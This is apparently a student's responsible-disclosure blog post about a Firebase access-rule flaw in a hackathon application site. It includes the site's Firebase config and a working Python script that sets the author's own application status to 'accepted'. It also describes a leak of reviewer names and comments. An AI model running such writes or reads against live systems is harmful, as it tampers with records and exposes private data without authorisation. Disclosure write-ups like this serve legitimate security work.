With all the buzz online and among my friends about GenAI Genesis 2025, a generative AI hackathon hosted at my school, the University of Toronto, I decided to apply even though I was pretty busy that weekend, hoping my schedule would clear by the time the hackathon came around. The sequence of events that followed led me into finding a vulnerability that let me accept my own hackathon application, before applications had even officially closed.

story time!

After making my account on the site at 3 o’clock in the morning, I somehow realized that I had better things to do at the time (like sleeping), and so I decided to apply the following day. Oddly, my password manager (KeePassXC for those curious), didn’t save my password and I had to reset it:

Hello,
Follow this link to reset your genai-hackathon-2024 password for your <email> account.
https://genai-hackathon-2024.firebaseapp.com/__/auth/action?mode=resetPassword...
If you didn’t ask to reset your password, you can ignore this email.
Thanks,
Your genai-hackathon-2024 team (2024?)

I was sent a link to a site on the firebaseapp.com domain, and this reminded me of the countless blog posts and articles I’ve read on people finding misconfigurations in firebase, and I was curious to see if this site would fare any better.

getting acquainted

I started of by testing some of the low hanging fruit I’ve previously seen, but instead of using Firepwn like I saw in some blog posts, I used a python library called pyrebase (or well a fork of it that supported newer versions of python), which is just a wrapper around the firebase API.

But before using either tool, I first needed to extract the firebase config object from the frontend, which I did by searching for some of the field names. The config object is only used for identification to firebase (even the oddly named apiKey), and none of these identifiers are supposed to be a secret.

n.ZF)({
    apiKey: "AIzaSyAAign9HlDM7bcdWhsIzeRlvNWbLglmuUY",
    authDomain: "genai-hackathon-2024.firebaseapp.com",
    databaseURL: "https://genai-hackathon-2024-default-rtdb.firebaseio.com",
    projectId: "genai-hackathon-2024",
    storageBucket: "genai-hackathon-2024.firebasestorage.app",
    messagingSenderId: o.env.NEXT_PUBLIC_FIREBASE_MESSAGING_SENDER_ID,
    appId: "1:212015883358:web:085918af35bc10d23100cf",
    measurementId: o.env.NEXT_PUBLIC_FIREBASE_MEASUREMENT_ID
});

While looking for the config object, I realized I had access to the original source code of the project. (before it was webpacked & minified) This is possible because sentry.io before v9 emitted source maps to production by default. Continuing to test the low hanging fruit, I checked to see if there was misconfigured read access to the entire database.

import empyrebase

config = {
    "apiKey": "AIzaSyAAign9HlDM7bcdWhsIzeRlvNWbLglmuUY",
    "authDomain": "genai-hackathon-2024.firebaseapp.com",
    "databaseURL": "https://genai-hackathon-2024-default-rtdb.firebaseio.com",
    "storageBucket": "genai-hackathon-2024.firebasestorage.app",
    "projectId": "genai-hackathon-2024"
}

firebase = empyrebase.initialize_app(config)

auth = firebase.auth()

user = auth.sign_in_with_email_and_password("<email>", "<password>")

db = firebase.database()

print(db.get(user['idToken']))
# "error" : "Permission denied"

the bug

With no luck so far, I decide to check how the site communicated with firebase, where I found a very interesting design choice. The site was grabbing all the user data it had stored about my application, and only then parsing the data received for what it actually wanted. When submitting a new application, it set the whole application object as well.

type statusOptions =
    | 'not started'
    | 'not completed'
    | 'submitted'
    | 'waitlisted'
    | 'rejected'
    | 'accepted'
    | 'admitted'
    | 'rejected offer';

const application = {
    userId: uid,
    applicationId: uid,
    applicationStatus: status as statusOptions,
    section1: {
    // boring actual hackathon application stuff
    }
    statusFlags: {
        reviewed: false,
        shortlisted: false,
        accepted: false,
        rejected: false,
        rsvp: false,
    },
};

After noticing this, I attempted to send a update request to the database with the applicationStatus as accepted,

import empyrebase
import sys

firebase = empyrebase.initialize_app(config)

auth = firebase.auth()

user = auth.sign_in_with_email_and_password(sys.argv[1], sys.argv[2])

db = firebase.database()

application_info = db.child("applications").child(user["localId"]).get(user["idToken"])
application = db.child("applications").child(user["localId"])

print("before:")
for row in application_info.each():
    if row.key() == "applicationStatus":
        print(f"applicationStatus: {row.val()}")
    if row.key() == "statusFlags":
        print(f"statusFlags: {row.val()}")

dict = {
    "applicationStatus": "accepted",
    "statusFlags": {
        "accepted": True,
        "rejected": False,
        "reviewed": True,
        "shortlisted": True,
    },
}

application.update(dict, user["idToken"])

application_info = db.child("applications").child(user["localId"]).get(user["idToken"])

print("after:")
for row in application_info.each():
    if row.key() == "applicationStatus":
        print(f"applicationStatus: {row.val()}")
    if row.key() == "statusFlags":
        print(f"statusFlags: {row.val()}")

$ python genai.py
before:
applicationStatus: submitted
statusFlags: {'accepted': False, 'rejected': False, 'reviewed': False, 'shortlisted': False}
after:
applicationStatus: accepted
statusFlags: {'accepted': True, 'rejected': False, 'reviewed': True, 'shortlisted': True}

It worked :D

bonus bug: information leakage

After disclosing the initial vulnerability, I discovered that while it was no longer possible to write to any values the site itself didn’t modify, since the site still grabbed the whole application object, you could still read sensitive information about your own application, such as getting your application’s acceptance status early, your reviewer’s full name, any comments they made about you, and their overall rating of your application. (Reviewer’s names have been redacted for privacy concerns) I later verified this was fully fixed by the maintainers modifying the site to have specific functions to fetch what it needed, allowing for the further tightening of database rules.

disclosure timeline (mm/dd/yyyy)

• 09/03/2025 - vulnerability disclosed
• 09/03/2025 - initial patch
• 10/03/2025 - information leakage disclosed
• 12/03/2025 - final patch

conclusion

Thanks for reading til the end! I hope you enjoyed reading this blog post as much as I enjoyed making it!